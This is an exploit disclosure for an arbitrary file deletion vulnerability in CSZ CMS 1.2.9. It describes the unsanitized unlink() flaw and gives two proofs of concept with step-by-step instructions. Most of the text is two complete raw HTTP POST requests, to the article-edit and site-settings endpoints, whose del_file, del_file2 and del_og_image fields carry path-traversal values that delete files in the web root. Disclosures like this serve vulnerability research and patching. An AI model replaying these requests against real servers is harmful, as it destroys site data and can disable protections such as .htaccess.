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12 KiB
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# Exploit Title: CSZ CMS 1.2.9 - 'Multiple' Arbitrary File Deletion
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# Date: 2021-07-20
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# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
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# Vendor Homepage: https://www.cszcms.com
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# Software Link: https://sourceforge.net/projects/cszcms/files/latest/download
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# Version: 1.2.9
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# Tested on: Windows 10, XAMPP
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# Reference: https://github.com/cskaza/cszcms/issues/32
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################
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# Description #
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################
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# CSZ CMS is an open source Content Management System web application that allows to manage all content and settings on the websites. CSZ CMS was built on the basis of Codeigniter3 and design the structure of Bootstrap3. When unsanitized user input is supplied to a file deletion function, an arbitrary file deletion vulnerability arises. This occurs in PHP when the unlink() function is called and user input might affect portions of or the whole affected parameter, which represents the path of the file to remove, without sufficient sanitization. Exploiting the vulnerability allows an attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker might leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints.
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##########
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# PoC 1 #
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##########
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Vulnerable URL: http://localhost/CSZCMS-V1.2.9/admin/plugin/article/editArtSave
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Vulnerable Code: line 116, 131 - cszcms\models\plugin\Article_model.php
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Steps to Reproduce:
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1. Login as admin
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2. Goto Plugin Manager > Article > edit any article
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3. Upload any image as "Main Picture" and "File Upload" and click save button
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4. Click "Delete File" button for both "Main Picture" and "File Upload" and click save button
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5. Intercept the request and replace existing image to any files on the server via parameter "del_file" and "del_file2"
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1) Assumed there are files conf_secret_file.php and config_backup.txt in web root
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PoC #1) param del_file & del_file2 - Deleting conf_secret_file.php and config_backup.txt files in web root
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Request:
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========
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POST /CSZCMS-V1.2.9/admin/plugin/article/editArtSave/4 HTTP/1.1
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Host: localhost
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Content-Length: 2048
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Cache-Control: max-age=0
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sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
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sec-ch-ua-mobile: ?0
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Upgrade-Insecure-Requests: 1
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Origin: http://localhost
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAMyATk1BfQaBOHvY
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Sec-Fetch-Site: same-origin
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Sec-Fetch-Mode: navigate
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Sec-Fetch-User: ?1
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Sec-Fetch-Dest: document
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Referer: http://localhost/CSZCMS-V1.2.9/admin/plugin/article/artedit/4
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9
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Cookie: last_views=a%3A3%3A%7Bi%3A0%3Bi%3A17%3Bi%3A1%3Bi%3A19%3Bi%3A2%3Bi%3A18%3B%7D; __atuvc=5%7C27; c4204054ab0d5b68399458e70744010b_cszsess=l9f1kpqohequemh1q3tt11j36hs99c25
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Connection: close
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="title"
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article beta
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="keyword"
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testing file
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="short_desc"
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deletion
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="cat_id"
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2
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="content"
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<div class="row">
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<div class="col-md-12">
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<p>test for file deletion</p>
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</div>
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</div>
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<p><br><br></p>
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="del_file"
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../../../conf_secret_file.php
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="file_upload"; filename=""
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Content-Type: application/octet-stream
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="mainPicture"
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2021/1626802955_1.png
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="del_file2"
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../../../config_backup.txt
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="file_upload2"; filename=""
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Content-Type: application/octet-stream
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="mainFile"
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2021/1626802956_1.png
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="lang_iso"
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en
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="active"
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1
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="fb_comment_active"
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1
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="fb_comment_limit"
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5
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="fb_comment_sort"
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reverse_time
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------WebKitFormBoundaryAMyATk1BfQaBOHvY
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Content-Disposition: form-data; name="submit"
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Save
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------WebKitFormBoundaryAMyATk1BfQaBOHvY--
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---
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##########
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# PoC 2 #
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##########
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Vulnerable URL: http://localhost/CSZCMS-V1.2.9/admin/settings/update
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Vulnerable Code: line 944, 958 - cszcms\models\Csz_admin_model.php
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Steps to Reproduce:
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1. Login as admin
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2. Goto General Menu > Site Setting
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3. Upload any image as "Site Logo" and "Image of og metatag" and click save button
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4. Click "Delete File" button for both "Site Logo" and "Image of og metatag" and click save button
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5. Intercept the request and replace existing image to any files on the server via parameter "del_file" and "del_og_image"
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2) Assumed there are files conf_secret_file.php and config_backup.txt in web root
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PoC #2) param del_file & del_og_image - Deleting conf_secret_file.php and config_backup.txt in web root
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Request:
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========
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POST /CSZCMS-V1.2.9/admin/settings/update HTTP/1.1
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Host: localhost
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Content-Length: 5163
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Cache-Control: max-age=0
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sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
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sec-ch-ua-mobile: ?0
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Upgrade-Insecure-Requests: 1
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Origin: http://localhost
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8cAl5KcKGP0D3Qi2
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Sec-Fetch-Site: same-origin
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Sec-Fetch-Mode: navigate
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Sec-Fetch-User: ?1
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Sec-Fetch-Dest: document
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Referer: http://localhost/CSZCMS-V1.2.9/admin/settings
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9
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Cookie: last_views=a%3A3%3A%7Bi%3A0%3Bi%3A17%3Bi%3A1%3Bi%3A19%3Bi%3A2%3Bi%3A18%3B%7D; __atuvc=5%7C27; c4204054ab0d5b68399458e70744010b_cszsess=t5jloe106o2i5hst51chr5ita9aklieu
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Connection: close
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="siteTitle"
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CSZ CMS Starter
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="title_setting"
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2
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="siteFooter"
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© %Y% CSZ CMS Starter
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="siteKeyword"
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CMS, Contact Management System, HTML, CSS, JS, JavaScript, framework, bootstrap, web development, thai, english
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="siteTheme"
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cszdefault
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="siteLang"
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english
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="additional_metatag"
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="additional_js"
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="pagecache_time"
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0
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="assets_static_domain"
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demo@cszcms.com
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="html_optimize_disable"
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1
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="del_file"
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../../conf_secret_file.php
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="file_upload"; filename=""
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Content-Type: application/octet-stream
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="siteLogo"
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2021/1626800829_logo.png
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="del_og_image"
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../../config_backup.txt
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="og_image"; filename=""
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Content-Type: application/octet-stream
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="ogImage"
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2021/1626800829_og.png
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="siteEmail"
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demo@cszcms.com
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="email_protocal"
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mail
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="smtp_host"
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="smtp_user"
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="smtp_pass"
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123456
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="smtp_port"
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="sendmail_path"
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="email_logs"
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1
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="googlecapt_sitekey"
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="googlecapt_secretkey"
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="ga_client_id"
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="ga_view_id"
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="gsearch_cxid"
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="gmaps_key"
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="gmaps_lat"
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-28.621975
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="gmaps_lng"
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150.689082
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="fbapp_id"
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="facebook_page_id"
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="adobe_cc_apikey"
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="cookieinfo_bg"
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#645862
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="cookieinfo_fg"
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#ffffff
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="cookieinfo_link"
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#f1d600
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="cookieinfo_msg"
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This website uses cookies to improve your user experience. By continuing to browse our site you accepted and agreed on our
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="cookieinfo_linkmsg"
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Privacy Policy and terms.
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="cookieinfo_moreinfo"
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https://www.cszcms.com/LICENSE.md
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="cookieinfo_txtalign"
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left
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="cookieinfo_close"
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Got it!
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2
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Content-Disposition: form-data; name="submit"
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Save
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------WebKitFormBoundary8cAl5KcKGP0D3Qi2--
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---
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# For more explaination, you can refer to the github issue on cszcms via https://github.com/cskaza/cszcms/issues/32
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# The affected version is 1.2.9. |